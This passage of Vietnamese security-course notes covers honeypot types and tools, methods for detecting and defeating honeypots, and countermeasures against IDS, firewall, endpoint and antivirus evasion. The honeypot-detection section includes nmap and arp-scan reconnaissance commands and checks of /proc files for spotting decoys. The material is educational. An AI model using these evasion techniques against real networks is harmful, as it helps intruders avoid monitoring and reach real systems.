- **Giám sát phím bấm (Monitor keystrokes):** Ghi lại và theo dõi từng thao tác phím của kẻ tấn công trong một môi trường giả lập (Decoy systems).
- **Cảnh báo sớm về chiến dịch tấn công (Early warnings):** Phát hiện các cuộc thăm dò (probe) để làm tín hiệu cảnh báo sớm trước khi một cuộc tấn công quy mô lớn nhắm vào mạng lõi thực sự xảy ra.

Các loại Honeypots (Types of Honeypots) [Trang 1765 - 1768]

Honeypots được phân loại dựa trên 3 tiêu chí chính: tiêu chí thiết kế, chiến lược triển khai và công nghệ đánh lừa:

1. Dựa trên tiêu chí thiết kế (Design criteria):

- **Low-interaction honeypots (Tương tác thấp)** [Trang 1765]: Chỉ mô phỏng một số lượng giới hạn các dịch vụ và ứng dụng. Không thể bị xâm phạm hoàn toàn, thu thập thông tin ở cấp độ cao như rà quét mạng hoặc hoạt động của worm. Ví dụ: `tiny-ssh-honeypot`, KFSensor (bẫy TCP, UDP, ICMP), Honeytrap (theo dõi TCP/UDP, FTP, TFTP).
- **Medium-interaction honeypots (Tương tác trung bình)** [Trang 1766]: Mô phỏng một hệ điều hành thực tế cũng như các ứng dụng và dịch vụ. Thu thập dữ liệu hữu ích hơn nhưng có nhược điểm là kẻ tấn công có thể nhanh chóng phát hiện ra hành vi bất thường vì nó chỉ phản hồi các lệnh được cấu hình sẵn. Ví dụ: Cowrie (SSH/Telnet honeypot), Honeygrove, Kippo.
- **High-interaction honeypots (Tương tác cao)** [Trang 1766]: Không mô phỏng mà chạy các dịch vụ/phần mềm thực tế dễ bị tổn thương trên một hệ điều hành thật. Có thể bị kẻ tấn công xâm phạm hoàn toàn để theo dõi toàn bộ kỹ thuật và công cụ của chúng. Ví dụ: Honeynet.
- **Pure honeypots (Honeypot thuần túy)** [Trang 1767]: Mô phỏng toàn bộ mạng lưới sản xuất thực tế của tổ chức để kẻ tấn công tiêu tốn thời gian và tài nguyên vào đó thay vì hệ thống thật.

2. Dựa trên chiến lược triển khai (Deployment strategy) [Trang 1767]:

- **Production honeypots:** Triển khai bên trong mạng sản xuất cùng với các máy chủ thực. Thường thuộc loại tương tác thấp (low-interaction), thu thập thông tin hạn chế để tìm ra lỗ hổng nội bộ và kẻ tấn công trong tổ chức.
- **Research honeypots:** Là honeypot tương tác cao (high-interaction) do các viện nghiên cứu, chính phủ hoặc quân đội triển khai để thu thập kiến thức chuyên sâu về hành động của kẻ xâm nhập. Không đóng góp trực tiếp vào bảo mật của công ty.

3. Dựa trên công nghệ đánh lừa (Deception technology) [Trang 1767 - 1768]:

- **Malware honeypots:** Dùng để bẫy các chiến dịch mã độc. Được giả lập với các lỗ hổng đã biết (như API lỗi thời, giao thức SMBv1 dễ bị tổn thương) và mô phỏng Trojan, virus, backdoor để dụ mã độc tấn công.
- **Database honeypots:** Tạo cơ sở dữ liệu giả dễ bị tấn công SQL injection và database enumeration để lừa kẻ tấn công.
- **Spam honeypots:** Nhắm vào những kẻ gửi thư rác lạm dụng open mail relays và open proxies.
- **Email honeypots (Email traps):** Các địa chỉ email giả được phân tán trên Internet mở và Dark web để bẫy các email độc hại.
- **Spider honeypots (Spider traps):** Bẫy các web crawlers và spiders chuyên trích xuất URL, thông tin liên hệ bằng cách tạo ra các trang web giả mạo.
- **Honeynets:** Mạng lưới gồm nhiều honeypots triển khai trong môi trường ảo hóa cách ly để theo dõi toàn bộ TTPs (Kỹ thuật, Chiến thuật và Quy trình) của kẻ tấn công.

Công cụ Honeypot (Honeypot Tools) [Trang 1769 - 1770]

Các công cụ bảo mật cho phép ghi log toàn bộ hoạt động của kẻ tấn công:

- **HoneyBOT** [Trang 1769]: Giải pháp honeypot tương tác trung bình (medium interaction) dành cho Windows, dễ sử dụng, tạo môi trường an toàn để chụp và tương tác với lưu lượng không mong muốn.
- **Blumira honeypot software**
- **NeroSwarm Honeypot**
- **Valhala Honeypot**
- **Cowrie**
- **StingBox**

Phát hiện Honeypot (Detecting Honeypots) [Trang 1771 - 1772]

Kẻ tấn công sử dụng các kỹ thuật sau để tránh sập bẫy:

- **Fingerprint dịch vụ đang chạy (Fingerprinting the Running Service):** Dùng công cụ như Nmap (`nmap -sV -p 80 <target_ip>`) để xem xét sự không nhất quán (discrepancies) giữa phiên bản dịch vụ tự khai báo và hành vi thực tế của nó.
- **Phân tích thời gian phản hồi (Analyzing Response Time):** Honeypots thường có độ trễ cao hoặc không nhất quán do phải xử lý thêm các lớp ghi log và giám sát. Đo lường bằng Ping, Traceroute hoặc lệnh Nmap (`nmap -p 80 --scan-delay 1s --max-retries 5 target_ip`).
  - *Ví dụ lệnh kiểm tra độ trễ bằng Nmap:* `nmap -p 80 --scan-delay 1s --max-retries 5 <target_ip>`.
- **Kiểm tra MAC để tìm các OUI bất thường (Analyzing MAC Address):** Phân tích địa chỉ MAC để tìm tiền tố OUI (Organizationally Unique Identifier). Sử dụng lệnh (`arp-scan --interface=eth0 --localnet`). Các OUI bất thường hoặc thuộc về các nhà sản xuất máy ảo là dấu hiệu của honeypot.
- **Liệt kê các port mở bất thường (Enumerating Unexpected Open Ports):** Honeypot thường mở nhiều port không điển hình để bẫy. Dùng Nmap quét toàn bộ 65.535 port (`nmap -p- <target_ip>`). Nếu một web server mở thêm port 22, 21 hoặc các port số cao không có mục đích rõ ràng, đó có thể là honeypot.
- **Phân tích cấu hình hệ thống và metadata:** Soi xét kỹ các chi tiết như cấu hình mặc định, banner thông báo lỗi thời (SSH welcome messages, HTTP headers), và sự không nhất quán trong thông tin hệ thống.

Phát hiện và Vô hiệu hóa Honeypot (Detecting and Defeating Honeypots) [Trang 1773 - 1775]

Các kỹ thuật để xác định và đánh bại cơ sở hạ tầng honeypot bao gồm:

- **Layer 7 tar pits:** Các thực thể bảo mật phản hồi rất chậm đối với các yêu cầu (ví dụ: lệnh SMTP) nhằm làm chậm cuộc tấn công. Phát hiện thông qua độ trễ (latency) của phản hồi.
- **Layer 4 tar pits:** Thao tác ngăn xếp TCP/IP để làm chậm sự lây lan của worm/backdoor (ví dụ: iptables chấp nhận kết nối nhưng chuyển sang kích thước zero-window để chặn nhận dữ liệu). Điển hình là Labrea. Phát hiện bằng cách phân tích kích thước TCP window liên tục bị giảm xuống 0.
- **Layer 2 tar pits:** Ngăn chặn tấn công trong cùng một mạng. Phát hiện bằng cách tìm kiếm các phản hồi có địa chỉ MAC độc nhất là `0:0:f:ff:ff:ff` (hoạt động như một lỗ đen) hoặc phân tích các phản hồi ARP.
- **Honeypot chạy trên VMware:** Phát hiện thông qua địa chỉ MAC. Bằng cách đối chiếu với các dải địa chỉ MAC tiêu chuẩn IEEE dành riêng cho VMWare Inc..
- **Honeyd Honeypot:** Là một honeypot daemon mạng có thể tạo ra hàng ngàn honeypots và phản hồi các lệnh SMTP bằng các phản hồi giả. Kẻ tấn công có thể phát hiện Honeyd bằng phương pháp TCP fingerprinting dựa trên thời gian (hành vi của SYN proxy).
- **User-Mode Linux (UML) Honeypot:** Là phần mềm mã nguồn mở dưới chuẩn GNU dùng để tạo máy ảo. Phát hiện bằng cách kiểm tra các tệp chứa thông tin đặc trưng của UML như `/proc/mounts`, `/proc/interrupts`, và `/proc/cmdline`.
- **Snort_inline Honeypot:** Phiên bản sửa đổi của Snort IDS có khả năng thao tác gói (packet manipulation) và ghi đè rules (rewrite rules) trong iptables. Phát hiện bằng cách phân tích các gói tin bị rớt (như đi vào lỗ đen) hoặc các gói tin gửi đi bị sửa đổi.
- **Fake AP (Access Point giả mạo):** Tạo các khung beacon 802.11b giả mạo với ESSID và BSSID ngẫu nhiên nhưng không tạo ra traffic thực. Phát hiện thông qua việc giám sát traffic mạng.
- **Bait and Switch Honeypots:** Chuyển hướng toàn bộ lưu lượng độc hại tới honeypot ngay khi phát hiện xâm nhập. Kẻ tấn công nhận diện thông qua các thông số TCP/IP cụ thể như RTT (Round-Trip Time), TTL, và TCP timestamp.

Công cụ phát hiện honeypot (Honeypot Detection Tools) [Trang 1775 - 1776]

- **Send-Safe Honeypot Hunter** [Trang 1775]:
  - Là công cụ chuyên thiết kế để kiểm tra các danh sách proxy HTTPS và SOCKS (SOCKS4, SOCKS5) xem có phải là "honey pots" hay không.
  - Tính năng: Kiểm tra nhiều danh sách proxy từ xa hoặc cục bộ cùng lúc; Có thể upload các tệp "Valid proxies" (proxy hợp lệ) và "All except honeypots" (Tất cả ngoại trừ honeypots) lên FTP; Tự động xử lý theo chu kỳ thời gian định sẵn.
  - **SniffingBear:** Một công cụ khác được kẻ tấn công sử dụng để rà quét và phát hiện honeypot trong mạng lưới đích của tổ chức.

19. Các biện pháp phòng chống (Countermeasures) [Trang 1777 - 1785]

19.1 Phòng chống Evasion đối với IDS (Defend Against IDS Evasion)

- Tắt các port switch được liên kết với các máy chủ tấn công đã biết.
- Thực hiện phân tích chuyên sâu các lưu lượng mạng không rõ ràng/mơ hồ.
- Sử dụng gói TCP FIN hoặc Reset (RST) để ngắt các phiên TCP độc hại.

- Tìm kiếm mã `nop` opcode khác giá trị `0x90` để phòng thủ trước polymorphic shellcode.
- Triển khai bộ chuẩn hóa lưu lượng (traffic normalizer) tại IDS để loại bỏ sự mơ hồ từ luồng gói tin trước khi nó đến IDS. Đảm bảo IDS chuẩn hóa các gói tin phân mảnh và reassemble chúng theo đúng thứ tự.
- Chỉ định máy chủ DNS rõ ràng cho các client resolver.
- Harden (củng cố) bảo mật của mọi thiết bị như modem và router.
- Tại interface kết nối ra ngoài, chặn các gói ICMP hết hạn TTL và đổi trường TTL thành một giá trị lớn để đảm bảo host đích luôn nhận được gói tin (ngăn chặn TTL evasion).
- Đảm bảo các quy tắc Snort được cấu hình chính xác để tránh cảnh báo giả (false positives). Kiểm tra thư mục quy tắc để tìm các script độc hại được chèn lén.
- Cấu hình IDS để phát hiện các kỹ thuật tunneling, obfuscation, overlapping fragments, và xử lý được các phiên bị phân mảnh (reassembling fragmented sessions).

19.2 Phòng chống Evasion đối với Firewall (Defend Against Firewall Evasion)

- Cấu hình Firewall để lọc/loại bỏ địa chỉ IP của kẻ xâm nhập.
- Mặc định chặn tất cả lưu lượng và chỉ bật các dịch vụ thực sự cần thiết (Default Deny).
- Tạo một User ID độc nhất để chạy các dịch vụ firewall thay vì dùng quyền root/admin.
- Cấu hình máy chủ Syslog từ xa và áp dụng biện pháp bảo vệ nghiêm ngặt để chống kẻ tấn công xóa log.
- Theo dõi và điều tra các bản log một cách định kỳ. Vô hiệu hóa kết nối FTP theo mặc định.
- Sử dụng các hệ thống truy vấn rủi ro (risk queries) thường xuyên để tìm quy tắc tường lửa yếu.
- Giám sát kỹ quyền của user nào được phép thay đổi cấu hình tường lửa. Thông báo ngay cho Security Admin nếu có thay đổi cấu hình và ghi tài liệu lại.
- Kiểm soát quyền truy cập vật lý (physical access) vào thiết bị tường lửa. Backup ruleset thường xuyên.
- Sử dụng công cụ HTTP Evader để test tự động các thủ thuật né tránh tường lửa.
- Triển khai tích hợp thanh tra HTTPS/TLS (HTTPS/TLS inspection) và Deep Packet Inspection ở lớp ứng dụng (Application Layer).

19.3 Phòng chống Evasion đối với Endpoint Security và NAC

Bảo vệ Endpoint Security:

- Sử dụng Antivirus có công nghệ phát hiện hành vi, Machine Learning và Threat Intelligence. Cập nhật OS và App liên tục.
- Phân đoạn mạng (Network segmentation) để ngăn chặn mã độc lây lan ngang (lateral movement).
- Áp dụng nguyên tắc Đặc quyền tối thiểu (Least privileges) và bật Xác thực đa yếu tố (MFA).
- Sử dụng Application Whitelisting và Code Signing Certificates để đảm bảo chỉ phần mềm sạch được chạy.
- Sử dụng lọc địa chỉ MAC. Triển khai công cụ FIM (File Integrity Monitoring) và DLP (Data Loss Prevention).
- Sử dụng các cơ chế bảo vệ vùng nhớ: ASLR (Address Space Layout Randomization), DEP (Data Execution Prevention) và CFI (Control Flow Integrity).
- Giới hạn cổng USB và truyền dữ liệu qua removable media/email.

Bảo vệ NAC (Network Access Control):

- Phân loại thiết bị (Device profiling) để nhận diện các thiết bị có hành vi bất thường khi cố gắng kết nối.
- Đảm bảo chính sách NAC được thực thi động (dynamic enforcement) theo thời gian thực.
- Áp dụng RBAC (Role-Based Access Control) và mô hình Zero-Trust (mọi thiết bị phải được xác minh ở mỗi điểm truy cập).
- Chia nhỏ tài nguyên nhạy cảm và giới hạn bằng mạng VLAN.
- Tích hợp giải pháp NAC với hệ thống SIEM để tương quan cảnh báo (correlate alerts) giữa NAC, Tường lửa, IDS/IPS.
- Sử dụng xác thực nâng cao (Certificate-based hoặc Biometric). Chủ động săn lùng mối đe dọa (Threat hunting).

19.4 Phòng chống Evasion đối với Anti-Virus

- Chuyển từ Antivirus truyền thống sang các giải pháp EPP (Endpoint Protection) và EDR.
- Chạy và kiểm thử các tệp đáng ngờ trong môi trường Sandbox cô lập.
- Kết hợp nhiều lớp bảo mật (Defense-in-depth) như Firewall, IDS, IPS.
- Sử dụng các phương pháp phát hiện không cần chữ ký (Signature-less detection/AI) để bỏ qua sự phụ thuộc vào database chữ ký tĩnh.
- Hạn chế tối đa quyền Admin của người dùng để chặn tiến trình cài đặt mã độc. Dùng VPN cho các truy cập từ xa.